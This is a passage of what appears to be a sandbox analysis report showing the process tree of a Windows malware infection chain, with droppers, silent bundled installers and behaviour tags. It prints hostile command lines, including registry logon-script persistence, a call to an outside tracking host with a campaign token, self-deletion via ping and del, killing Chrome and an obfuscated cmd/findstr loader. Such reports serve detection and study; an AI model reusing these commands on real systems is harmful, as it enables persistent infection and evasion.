                                                                      powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe'
                                                                      4⤵
                                                                        PID:8012
                                                                        • C:\Users\Admin\AppData\Local\Temp\launcher.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\launcher.exe"
                                                                          5⤵
                                                                            PID:8596
                                                                    • C:\Users\Admin\Documents\C9EtuPtr5uw_Xo6Wkbx2vlt1.exe
                                                                      "C:\Users\Admin\Documents\C9EtuPtr5uw_Xo6Wkbx2vlt1.exe"
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2452
                                                                      • C:\Users\Admin\AppData\Roaming\7706313.exe
                                                                        "C:\Users\Admin\AppData\Roaming\7706313.exe"
                                                                        3⤵
                                                                        • Executes dropped EXE
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:4556
                                                                      • C:\Users\Admin\AppData\Roaming\7793887.exe
                                                                        "C:\Users\Admin\AppData\Roaming\7793887.exe"
                                                                        3⤵
                                                                          PID:4416
                                                                          • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                            "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                            4⤵
                                                                            • Executes dropped EXE
                                                                            PID:4944
                                                                        • C:\Users\Admin\AppData\Roaming\8631307.exe
                                                                          "C:\Users\Admin\AppData\Roaming\8631307.exe"
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:5092
                                                                      • C:\Users\Admin\Documents\nlf0g47LQydz6aHICGSzAK5U.exe
                                                                        "C:\Users\Admin\Documents\nlf0g47LQydz6aHICGSzAK5U.exe"
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:3208
                                                                        • C:\Users\Admin\Documents\nlf0g47LQydz6aHICGSzAK5U.exe
                                                                          "C:\Users\Admin\Documents\nlf0g47LQydz6aHICGSzAK5U.exe" -q
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          PID:2332
                                                                      • C:\Users\Admin\Documents\VqlG4eaMdZf6UGnUp4gJCuRA.exe
                                                                        "C:\Users\Admin\Documents\VqlG4eaMdZf6UGnUp4gJCuRA.exe"
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:768
                                                                        • C:\Users\Admin\AppData\Local\Temp\is-EI3L6.tmp\VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                          "C:\Users\Admin\AppData\Local\Temp\is-EI3L6.tmp\VqlG4eaMdZf6UGnUp4gJCuRA.tmp" /SL5="$10250,138429,56832,C:\Users\Admin\Documents\VqlG4eaMdZf6UGnUp4gJCuRA.exe"
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          PID:4348
                                                                          • C:\Users\Admin\AppData\Local\Temp\is-9TMD3.tmp\Setup.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\is-9TMD3.tmp\Setup.exe" /Verysilent
                                                                            4⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetThreadContext
                                                                            • Drops file in Program Files directory
                                                                            PID:3608
                                                                            • C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe
                                                                              "C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe"
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              PID:3336
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 820
                                                                                6⤵
                                                                                • Program crash
                                                                                PID:7792
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 1060
                                                                                6⤵
                                                                                • Program crash
                                                                                PID:7928
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 1116
                                                                                6⤵
                                                                                • Program crash
                                                                                PID:4092
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 1148
                                                                                6⤵
                                                                                • Program crash
                                                                                PID:8124
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 1180
                                                                                6⤵
                                                                                • Program crash
                                                                                PID:7268
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 1300
                                                                                6⤵
                                                                                • Program crash
                                                                                PID:5300
                                                                            • C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
                                                                              "C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              PID:4024
                                                                              • C:\Users\Admin\AppData\Local\Temp\is-ICL5G.tmp\Inlog.tmp
                                                                                "C:\Users\Admin\AppData\Local\Temp\is-ICL5G.tmp\Inlog.tmp" /SL5="$102DA,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
                                                                                6⤵
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                • Suspicious use of FindShellTrayWindow
                                                                                PID:644
                                                                                • C:\Users\Admin\AppData\Local\Temp\is-U44OP.tmp\Setup.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-U44OP.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
                                                                                  7⤵
                                                                                    PID:7596
                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-1JP3E.tmp\Setup.tmp
                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-1JP3E.tmp\Setup.tmp" /SL5="$303E2,17369807,721408,C:\Users\Admin\AppData\Local\Temp\is-U44OP.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
                                                                                      8⤵
                                                                                      • Loads dropped DLL
                                                                                      • Drops file in Program Files directory
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      PID:7912
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-LVQNM.tmp\{app}\microsoft.cab -F:* %ProgramData%
                                                                                        9⤵
                                                                                          PID:6032
                                                                                          • C:\Windows\SysWOW64\expand.exe
                                                                                            expand C:\Users\Admin\AppData\Local\Temp\is-LVQNM.tmp\{app}\microsoft.cab -F:* C:\ProgramData
                                                                                            10⤵
                                                                                            • Drops file in Windows directory
                                                                                            PID:4312
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
                                                                                          9⤵
                                                                                            PID:6016
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
                                                                                              10⤵
                                                                                                PID:7256
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
                                                                                              9⤵
                                                                                                PID:6452
                                                                                              • C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
                                                                                                "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
                                                                                                9⤵
                                                                                                • Loads dropped DLL
                                                                                                PID:5656
                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-LVQNM.tmp\{app}\vdi_compiler.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-LVQNM.tmp\{app}\vdi_compiler"
                                                                                                9⤵
                                                                                                  PID:8204
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-LVQNM.tmp\{app}\vdi_compiler.exe"
                                                                                                    10⤵
                                                                                                      PID:2228
                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                        ping localhost -n 4
                                                                                                        11⤵
                                                                                                        • Runs ping.exe
                                                                                                        PID:6192
                                                                                          • C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
                                                                                            "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
                                                                                            5⤵
                                                                                            • Executes dropped EXE
                                                                                            • Loads dropped DLL
                                                                                            • Enumerates connected drives
                                                                                            • Modifies system certificate store
                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                            PID:4712
                                                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                                                              "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629289445 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
                                                                                              6⤵
                                                                                                PID:8340
                                                                                            • C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
                                                                                              "C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:1312
                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-3KMPV.tmp\VPN.tmp
                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-3KMPV.tmp\VPN.tmp" /SL5="$10306,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Loads dropped DLL
                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                PID:5196
                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-PFENQ.tmp\Setup.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-PFENQ.tmp\Setup.exe" /silent /subid=720
                                                                                                  7⤵
                                                                                                    PID:7516
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-AI06B.tmp\Setup.tmp
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-AI06B.tmp\Setup.tmp" /SL5="$40210,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-PFENQ.tmp\Setup.exe" /silent /subid=720
                                                                                                      8⤵
                                                                                                      • Loads dropped DLL
                                                                                                      • Drops file in Program Files directory
                                                                                                      • Modifies registry class
                                                                                                      • Modifies system certificate store
                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                      PID:7796
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                                        9⤵
                                                                                                          PID:6784
                                                                                                          • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                            tapinstall.exe remove tap0901
                                                                                                            10⤵
                                                                                                            • Checks SCSI registry key(s)
                                                                                                            PID:8460
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                                          9⤵
                                                                                                            PID:8336
                                                                                                            • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                              tapinstall.exe install OemVista.inf tap0901
                                                                                                              10⤵
                                                                                                              • Drops file in System32 directory
                                                                                                              • Drops file in Windows directory
                                                                                                              • Checks SCSI registry key(s)
                                                                                                              • Modifies system certificate store
                                                                                                              PID:1936
                                                                                                          • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                            "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                                                            9⤵
                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                            PID:7640
                                                                                                          • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                            "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
                                                                                                            9⤵
                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                            PID:1360
                                                                                                  • C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
                                                                                                    "C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
                                                                                                    5⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4672
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /c taskkill /f /im chrome.exe
                                                                                                      6⤵
                                                                                                        PID:6996
                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                          taskkill /f /im chrome.exe
                                                                                                          7⤵
                                                                                                          • Kills process with taskkill
                                                                                                          PID:7580
                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                                                      5⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:3212
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-3QG24.tmp\MediaBurner2.tmp
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-3QG24.tmp\MediaBurner2.tmp" /SL5="$10320,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                                                        6⤵
                                                                                                          PID:5324
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-298Q7.tmp\3377047_logo_media.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-298Q7.tmp\3377047_logo_media.exe" /S /UID=burnerch2
                                                                                                            7⤵
                                                                                                              PID:4920
                                                                                                              • C:\Program Files\7-Zip\FESGUHBMZO\ultramediaburner.exe
                                                                                                                "C:\Program Files\7-Zip\FESGUHBMZO\ultramediaburner.exe" /VERYSILENT
                                                                                                                8⤵
                                                                                                                  PID:6984
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-7JTR2.tmp\ultramediaburner.tmp
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-7JTR2.tmp\ultramediaburner.tmp" /SL5="$90030,281924,62464,C:\Program Files\7-Zip\FESGUHBMZO\ultramediaburner.exe" /VERYSILENT
                                                                                                                    9⤵
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                    PID:7996
                                                                                                                    • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                      "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                      10⤵
                                                                                                                        PID:6156
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\d7-ecb8e-5e4-d9289-4e75c82824120\Wileshurave.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\d7-ecb8e-5e4-d9289-4e75c82824120\Wileshurave.exe"
                                                                                                                    8⤵
                                                                                                                      PID:8124
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\spanc3h4.cbv\GcleanerEU.exe /eufive & exit
                                                                                                                        9⤵
                                                                                                                          PID:4432
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\spanc3h4.cbv\GcleanerEU.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\spanc3h4.cbv\GcleanerEU.exe /eufive
                                                                                                                            10⤵
                                                                                                                              PID:8560
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xsukxuv2.cg3\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                            9⤵
                                                                                                                              PID:8396
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\xsukxuv2.cg3\installer.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\xsukxuv2.cg3\installer.exe /qn CAMPAIGN="654"
                                                                                                                                10⤵
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Enumerates connected drives
                                                                                                                                • Modifies system certificate store
                                                                                                                                PID:8740
                                                                                                                                • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                  "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\xsukxuv2.cg3\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\xsukxuv2.cg3\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629289445 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                  11⤵
                                                                                                                                    PID:8784
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qf11n1gj.ibf\ufgaa.exe & exit
                                                                                                                                9⤵
                                                                                                                                  PID:8728
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jpks3yn2.olg\anyname.exe & exit
                                                                                                                                  9⤵
                                                                                                                                    PID:2532
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jpks3yn2.olg\anyname.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\jpks3yn2.olg\anyname.exe
                                                                                                                                      10⤵
                                                                                                                                        PID:8332
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jpks3yn2.olg\anyname.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\jpks3yn2.olg\anyname.exe" -q
                                                                                                                                          11⤵
                                                                                                                                            PID:5672
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ebmdgf10.hfp\gcleaner.exe /mixfive & exit
                                                                                                                                        9⤵
                                                                                                                                          PID:4632
                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                            10⤵
                                                                                                                                              PID:352
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\ebmdgf10.hfp\gcleaner.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\ebmdgf10.hfp\gcleaner.exe /mixfive
                                                                                                                                              10⤵
                                                                                                                                                PID:7608
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hgx4lrpe.jmc\autosubplayer.exe /S & exit
                                                                                                                                              9⤵
                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                              PID:7568
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\28-cb239-0ef-ac79f-a82e6c7c60810\Naejaelytaece.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\28-cb239-0ef-ac79f-a82e6c7c60810\Naejaelytaece.exe"
                                                                                                                                            8⤵
                                                                                                                                            • Checks computer location settings
                                                                                                                                            PID:7976
                                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
                                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
                                                                                                                                      5⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:4864
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\2571189.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\2571189.exe"
                                                                                                                                        6⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:6052
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\3243041.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\3243041.exe"
                                                                                                                                        6⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious behavior: SetClipboardViewer
                                                                                                                                        PID:5660
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\7814738.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\7814738.exe"
                                                                                                                                        6⤵
                                                                                                                                          PID:5768
                                                                                                                                        • C:\Users\Admin\AppData\Roaming\6200429.exe
                                                                                                                                          "C:\Users\Admin\AppData\Roaming\6200429.exe"
                                                                                                                                          6⤵
                                                                                                                                            PID:5980
                                                                                                                                        • C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe
                                                                                                                                          "C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe"
                                                                                                                                          5⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                          PID:5000
                                                                                                                                        • C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
                                                                                                                                          "C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
                                                                                                                                          5⤵
                                                                                                                                            PID:4256
                                                                                                                                          • C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
                                                                                                                                            "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
                                                                                                                                            5⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:5736
                                                                                                                                            • C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
                                                                                                                                              "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
                                                                                                                                              6⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5528
                                                                                                                                          • C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
                                                                                                                                            "C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
                                                                                                                                            5⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:5760
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\tmp5589_tmp.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\tmp5589_tmp.exe"
                                                                                                                                              6⤵
                                                                                                                                                PID:7076
                                                                                                                                                • C:\Windows\SysWOW64\dllhost.exe
                                                                                                                                                  "C:\Windows\System32\dllhost.exe"
                                                                                                                                                  7⤵
                                                                                                                                                    PID:7620
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks
                                                                                                                                                    7⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:4256
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      cmd
                                                                                                                                                      8⤵
                                                                                                                                                        PID:7212
                                                                                                                                                        • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                          findstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks
                                                                                                                                                          9⤵
                                                                                                                                                            PID:4072
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                            Esplorarne.exe.com i
                                                                                                                                                            9⤵
                                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                            PID:7552
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                              10⤵
                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                              • Suspicious use of SendNotifyMessage
                                                                                                                                                              PID:6252
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                11⤵
                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                PID:6168
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                  12⤵
                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                                                                  PID:5040
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                    13⤵
                                                                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                                                                    PID:6720
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                      14⤵
                                                                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                                                                      PID:8632
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                        15⤵
                                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                                        PID:9192
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                          16⤵
                                                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                                                          PID:9004
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                            17⤵
                                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                                            PID:2880
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                              18⤵
                                                                                                                                                                              • Suspicious use of SendNotifyMessage
                                                                                                                                                                              PID:5772
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                19⤵
                                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                                PID:8924
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                  20⤵
                                                                                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                                                                                  PID:8156
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                    21⤵
                                                                                                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                                                                                                    PID:8968
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                      22⤵
                                                                                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                                                                                      PID:8224
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                        23⤵
                                                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                                                        PID:5932
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                          24⤵
                                                                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                                                                          PID:3536
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
                                                                                                                                                                                            25⤵
